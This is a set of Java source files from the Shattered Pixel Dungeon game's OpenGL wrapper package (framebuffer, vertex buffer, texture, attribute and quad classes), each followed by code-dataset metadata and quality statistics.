/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.BufferUtils; import java.nio.IntBuffer; public class Framebuffer { public static final int COLOR = GL20.GL_COLOR_ATTACHMENT0; public static final int DEPTH = GL20.GL_DEPTH_ATTACHMENT; public static final int STENCIL = GL20.GL_STENCIL_ATTACHMENT; public static final Framebuffer system = new Framebuffer( 0 ); private int id; public Framebuffer() { IntBuffer buf = BufferUtils.newIntBuffer(1); Gdx.gl.glGenBuffers( 1, buf ); id = buf.get(); } private Framebuffer( int n ) { } public void bind() { Gdx.gl.glBindFramebuffer( GL20.GL_FRAMEBUFFER, id ); } public void delete() { IntBuffer buf = BufferUtils.newIntBuffer(1); buf.put(id); Gdx.gl.glDeleteFramebuffers( 1, buf ); } /*public void attach( int point, Texture tex ) { bind(); Gdx.gl.glFramebufferTexture2D( GL20.GL_FRAMEBUFFER, point, GL20.GL_TEXTURE_2D, tex.id, 0 ); } public void attach( int point, Renderbuffer buffer ) { bind(); Gdx.gl.glFramebufferRenderbuffer( GL20.GL_RENDERBUFFER, point, GL20.GL_TEXTURE_2D, buffer.id() ); }*/ public boolean status() { bind(); return Gdx.gl.glCheckFramebufferStatus( GL20.GL_FRAMEBUFFER ) == GL20.GL_FRAMEBUFFER_COMPLETE; } }
2,101
Framebuffer
java
en
java
code
{"qsc_code_num_words": 290, "qsc_code_num_chars": 2101.0, "qsc_code_mean_word_length": 5.22758621, "qsc_code_frac_words_unique": 0.46206897, "qsc_code_frac_chars_top_2grams": 0.03957784, "qsc_code_frac_chars_top_3grams": 0.04485488, "qsc_code_frac_chars_top_4grams": 0.03759894, "qsc_code_frac_chars_dupe_5grams": 0.15963061, "qsc_code_frac_chars_dupe_6grams": 0.03693931, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02827467, "qsc_code_frac_chars_whitespace": 0.17515469, "qsc_code_size_file_byte": 2101.0, "qsc_code_num_lines": 74.0, "qsc_code_num_chars_line_max": 100.0, "qsc_code_num_chars_line_mean": 28.39189189, "qsc_code_frac_chars_alphabet": 0.84650894, "qsc_code_frac_chars_comments": 0.52784388, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06451613, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.09677419, "qsc_codejava_score_lines_no_logic": 0.29032258, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Vertexbuffer.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import java.nio.FloatBuffer; import java.util.ArrayList; public class Vertexbuffer { private int id; private FloatBuffer vertices; private int updateStart, updateEnd; private static final ArrayList<Vertexbuffer> buffers = new ArrayList<>(); public Vertexbuffer( FloatBuffer vertices ) { synchronized (buffers) { id = Gdx.gl.glGenBuffer(); this.vertices = vertices; buffers.add(this); updateStart = 0; updateEnd = vertices.limit(); } } //For flagging the buffer for a full update without changing anything public void updateVertices(){ updateVertices(vertices); } //For flagging an update with a full set of new data public void updateVertices( FloatBuffer vertices ){ updateVertices(vertices, 0, vertices.limit()); } //For flagging an update with a subset of data changed public void updateVertices( FloatBuffer vertices, int start, int end){ this.vertices = vertices; if (updateStart == -1) updateStart = start; else updateStart = Math.min(start, updateStart); if (updateEnd == -1) updateEnd = end; else updateEnd = Math.max(end, updateEnd); } public void updateGLData(){ if (updateStart == -1) return; vertices.position(updateStart); bind(); if (updateStart == 0 && updateEnd == vertices.limit()){ Gdx.gl.glBufferData(GL20.GL_ARRAY_BUFFER, vertices.limit()*4, vertices, GL20.GL_DYNAMIC_DRAW); } else { Gdx.gl.glBufferSubData(GL20.GL_ARRAY_BUFFER, updateStart*4, (updateEnd - updateStart)*4, vertices); } release(); updateStart = updateEnd = -1; } public void bind(){ Gdx.gl.glBindBuffer(GL20.GL_ARRAY_BUFFER, id); } public void release(){ Gdx.gl.glBindBuffer(GL20.GL_ARRAY_BUFFER, 0); } public void delete(){ synchronized (buffers) { Gdx.gl.glDeleteBuffer(id); buffers.remove(this); } } public static void refreshAllBuffers(){ synchronized (buffers) { for (Vertexbuffer buf : buffers) { buf.updateVertices(); buf.updateGLData(); } } } }
2,864
Vertexbuffer
java
en
java
code
{"qsc_code_num_words": 365, "qsc_code_num_chars": 2864.0, "qsc_code_mean_word_length": 5.57260274, "qsc_code_frac_words_unique": 0.40273973, "qsc_code_frac_chars_top_2grams": 0.03441495, "qsc_code_frac_chars_top_3grams": 0.02163225, "qsc_code_frac_chars_top_4grams": 0.03343166, "qsc_code_frac_chars_dupe_5grams": 0.17305801, "qsc_code_frac_chars_dupe_6grams": 0.08456244, "qsc_code_frac_chars_dupe_7grams": 0.03343166, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01708672, "qsc_code_frac_chars_whitespace": 0.18261173, "qsc_code_size_file_byte": 2864.0, "qsc_code_num_lines": 115.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 24.90434783, "qsc_code_frac_chars_alphabet": 0.85177275, "qsc_code_frac_chars_comments": 0.33379888, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.10144928, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.11594203, "qsc_codejava_score_lines_no_logic": 0.2173913, "qsc_codejava_frac_words_no_modifier": 0.88888889, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Texture.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.graphics.Pixmap; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.nio.IntBuffer; public class Texture { public static final int NEAREST = GL20.GL_NEAREST; public static final int LINEAR = GL20.GL_LINEAR; public static final int REPEAT = GL20.GL_REPEAT; public static final int MIRROR = GL20.GL_MIRRORED_REPEAT; public static final int CLAMP = GL20.GL_CLAMP_TO_EDGE; public int id = -1; private static int bound_id = 0; //id of the currently bound texture protected void generate(){ id = Gdx.gl.glGenTexture(); } public static void activate( int index ) { Gdx.gl.glActiveTexture( GL20.GL_TEXTURE0 + index ); } public void bind() { if (id == -1){ generate(); } if (id != bound_id) { Gdx.gl.glBindTexture( GL20.GL_TEXTURE_2D, id ); bound_id = id; } } public static void clear(){ bound_id = 0; } public void filter( int minMode, int maxMode ) { bind(); Gdx.gl.glTexParameterf( GL20.GL_TEXTURE_2D, GL20.GL_TEXTURE_MIN_FILTER, minMode ); Gdx.gl.glTexParameterf( GL20.GL_TEXTURE_2D, GL20.GL_TEXTURE_MAG_FILTER, maxMode ); } public void wrap( int s, int t ) { bind(); Gdx.gl.glTexParameterf( GL20.GL_TEXTURE_2D, GL20.GL_TEXTURE_WRAP_S, s ); Gdx.gl.glTexParameterf( GL20.GL_TEXTURE_2D, GL20.GL_TEXTURE_WRAP_T, t ); } public void delete() { if (bound_id == id) bound_id = 0; Gdx.gl.glDeleteTexture( id ); } public void bitmap( Pixmap bitmap ) { bind(); Gdx.gl.glTexImage2D( GL20.GL_TEXTURE_2D, 0, bitmap.getGLInternalFormat(), bitmap.getWidth(), bitmap.getHeight(), 0, bitmap.getGLFormat(), bitmap.getGLType(), bitmap.getPixels() ); } public void pixels( int w, int h, int[] pixels ) { bind(); IntBuffer imageBuffer = ByteBuffer. allocateDirect( w * h * 4 ). order( ByteOrder.nativeOrder() ). asIntBuffer(); imageBuffer.put( pixels ); imageBuffer.position( 0 ); Gdx.gl.glTexImage2D( GL20.GL_TEXTURE_2D, 0, GL20.GL_RGBA, w, h, 0, GL20.GL_RGBA, GL20.GL_UNSIGNED_BYTE, imageBuffer ); } public void pixels( int w, int h, byte[] pixels ) { bind(); ByteBuffer imageBuffer = ByteBuffer. allocateDirect( w * h ). order( ByteOrder.nativeOrder() ); imageBuffer.put( pixels ); imageBuffer.position( 0 ); Gdx.gl.glPixelStorei( GL20.GL_UNPACK_ALIGNMENT, 1 ); Gdx.gl.glTexImage2D( GL20.GL_TEXTURE_2D, 0, GL20.GL_ALPHA, w, h, 0, GL20.GL_ALPHA, GL20.GL_UNSIGNED_BYTE, imageBuffer ); } public static Texture create(Pixmap bmp ) { Texture tex = new Texture(); tex.bitmap( bmp ); return tex; } public static Texture create(int width, int height, int[] pixels ) { Texture tex = new Texture(); tex.pixels( width, height, pixels ); return tex; } public static Texture create(int width, int height, byte[] pixels ) { Texture tex = new Texture(); tex.pixels( width, height, pixels ); return tex; } }
3,859
Texture
java
en
java
code
{"qsc_code_num_words": 535, "qsc_code_num_chars": 3859.0, "qsc_code_mean_word_length": 4.85794393, "qsc_code_frac_words_unique": 0.31588785, "qsc_code_frac_chars_top_2grams": 0.05771451, "qsc_code_frac_chars_top_3grams": 0.06002309, "qsc_code_frac_chars_top_4grams": 0.0461716, "qsc_code_frac_chars_dupe_5grams": 0.39861485, "qsc_code_frac_chars_dupe_6grams": 0.30280877, "qsc_code_frac_chars_dupe_7grams": 0.25663717, "qsc_code_frac_chars_dupe_8grams": 0.23816853, "qsc_code_frac_chars_dupe_9grams": 0.19276645, "qsc_code_frac_chars_dupe_10grams": 0.19276645, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03125, "qsc_code_frac_chars_whitespace": 0.20393884, "qsc_code_size_file_byte": 3859.0, "qsc_code_num_lines": 166.0, "qsc_code_num_chars_line_max": 85.0, "qsc_code_num_chars_line_mean": 23.24698795, "qsc_code_frac_chars_alphabet": 0.81477865, "qsc_code_frac_chars_comments": 0.21145374, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35964912, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.11403509, "qsc_codejava_score_lines_no_logic": 0.20175439, "qsc_codejava_frac_words_no_modifier": 0.92857143, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Attribute.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import java.nio.FloatBuffer; public class Attribute { private int location; public Attribute( int location ) { this.location = location; } public int location() { return location; } public void enable() { Gdx.gl.glEnableVertexAttribArray( location ); } public void disable() { Gdx.gl.glDisableVertexAttribArray( location ); } public void vertexPointer( int size, int stride, FloatBuffer ptr ) { Gdx.gl.glVertexAttribPointer( location, size, GL20.GL_FLOAT, false, stride * 4, ptr ); } public void vertexBuffer( int size, int stride, int offset) { Gdx.gl.glVertexAttribPointer(location, size, GL20.GL_FLOAT, false, stride * 4, offset * 4); } }
1,561
Attribute
java
en
java
code
{"qsc_code_num_words": 215, "qsc_code_num_chars": 1561.0, "qsc_code_mean_word_length": 5.27906977, "qsc_code_frac_words_unique": 0.52093023, "qsc_code_frac_chars_top_2grams": 0.06167401, "qsc_code_frac_chars_top_3grams": 0.03436123, "qsc_code_frac_chars_top_4grams": 0.05022026, "qsc_code_frac_chars_dupe_5grams": 0.17973568, "qsc_code_frac_chars_dupe_6grams": 0.15682819, "qsc_code_frac_chars_dupe_7grams": 0.10748899, "qsc_code_frac_chars_dupe_8grams": 0.10748899, "qsc_code_frac_chars_dupe_9grams": 0.10748899, "qsc_code_frac_chars_dupe_10grams": 0.10748899, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02044025, "qsc_code_frac_chars_whitespace": 0.18513773, "qsc_code_size_file_byte": 1561.0, "qsc_code_num_lines": 56.0, "qsc_code_num_chars_line_max": 94.0, "qsc_code_num_chars_line_mean": 27.875, "qsc_code_frac_chars_alphabet": 0.87185535, "qsc_code_frac_chars_comments": 0.50032031, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.2, "qsc_codejava_score_lines_no_logic": 0.44, "qsc_codejava_frac_words_no_modifier": 0.83333333, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Quad.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.IntMap; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.nio.FloatBuffer; import java.nio.ShortBuffer; public class Quad { // 0---1 // | \ | // 3---2 public static final short[] VALUES = {0, 1, 2, 0, 2, 3}; public static final int SIZE = VALUES.length; private static ShortBuffer indices; private static int indexSize = 0; private static int bufferIndex = -1; public static FloatBuffer create() { return ByteBuffer. allocateDirect( 16 * Float.SIZE / 8 ). order( ByteOrder.nativeOrder() ). asFloatBuffer(); } public static FloatBuffer createSet( int size ) { return ByteBuffer. allocateDirect( size * 16 * Float.SIZE / 8 ). order( ByteOrder.nativeOrder() ). asFloatBuffer(); } //sets up for drawing up to 32k quads in one command, shouldn't ever need to exceed this public static void setupIndices(){ ShortBuffer indices = getIndices( Short.MAX_VALUE ); if (bufferIndex == -1){ bufferIndex = Gdx.gl.glGenBuffer(); } Gdx.gl.glBindBuffer(GL20.GL_ELEMENT_ARRAY_BUFFER, bufferIndex); Gdx.gl.glBufferData(GL20.GL_ELEMENT_ARRAY_BUFFER, (indices.capacity()*2), indices, GL20.GL_STATIC_DRAW); Gdx.gl.glBindBuffer(GL20.GL_ELEMENT_ARRAY_BUFFER, 0); } public static void bindIndices(){ Gdx.gl.glBindBuffer(GL20.GL_ELEMENT_ARRAY_BUFFER, bufferIndex); } public static void releaseIndices(){ Gdx.gl.glBindBuffer(GL20.GL_ELEMENT_ARRAY_BUFFER, 0); } public static ShortBuffer getIndices( int size ) { if (size > indexSize) { indexSize = size; indices = ByteBuffer. allocateDirect( size * SIZE * Short.SIZE / 8 ). order( ByteOrder.nativeOrder() ). asShortBuffer(); short[] values = new short[size * 6]; int pos = 0; int limit = size * 4; for (int ofs=0; ofs < limit; ofs += 4) { values[pos++] = (short)(ofs + 0); values[pos++] = (short)(ofs + 1); values[pos++] = (short)(ofs + 2); values[pos++] = (short)(ofs + 0); values[pos++] = (short)(ofs + 2); values[pos++] = (short)(ofs + 3); } indices.put( values ); indices.position( 0 ); } return indices; } public static void fill( float[] v, float x1, float x2, float y1, float y2, float u1, float u2, float v1, float v2 ) { v[0] = x1; v[1] = y1; v[2] = u1; v[3] = v1; v[4] = x2; v[5] = y1; v[6] = u2; v[7] = v1; v[8] = x2; v[9] = y2; v[10]= u2; v[11]= v2; v[12]= x1; v[13]= y2; v[14]= u1; v[15]= v2; } public static void fillXY( float[] v, float x1, float x2, float y1, float y2 ) { v[0] = x1; v[1] = y1; v[4] = x2; v[5] = y1; v[8] = x2; v[9] = y2; v[12]= x1; v[13]= y2; } public static void fillUV( float[] v, float u1, float u2, float v1, float v2 ) { v[2] = u1; v[3] = v1; v[6] = u2; v[7] = v1; v[10]= u2; v[11]= v2; v[14]= u1; v[15]= v2; } }
3,776
Quad
java
en
java
code
{"qsc_code_num_words": 553, "qsc_code_num_chars": 3776.0, "qsc_code_mean_word_length": 4.33092224, "qsc_code_frac_words_unique": 0.32549729, "qsc_code_frac_chars_top_2grams": 0.05511482, "qsc_code_frac_chars_top_3grams": 0.04008351, "qsc_code_frac_chars_top_4grams": 0.04258873, "qsc_code_frac_chars_dupe_5grams": 0.34154489, "qsc_code_frac_chars_dupe_6grams": 0.30814196, "qsc_code_frac_chars_dupe_7grams": 0.26931106, "qsc_code_frac_chars_dupe_8grams": 0.22713987, "qsc_code_frac_chars_dupe_9grams": 0.18538622, "qsc_code_frac_chars_dupe_10grams": 0.07348643, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.05449591, "qsc_code_frac_chars_whitespace": 0.22245763, "qsc_code_size_file_byte": 3776.0, "qsc_code_num_lines": 163.0, "qsc_code_num_chars_line_max": 107.0, "qsc_code_num_chars_line_mean": 23.16564417, "qsc_code_frac_chars_alphabet": 0.76123978, "qsc_code_frac_chars_comments": 0.23649364, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.44761905, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.08571429, "qsc_codejava_score_lines_no_logic": 0.18095238, "qsc_codejava_frac_words_no_modifier": 0.9, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 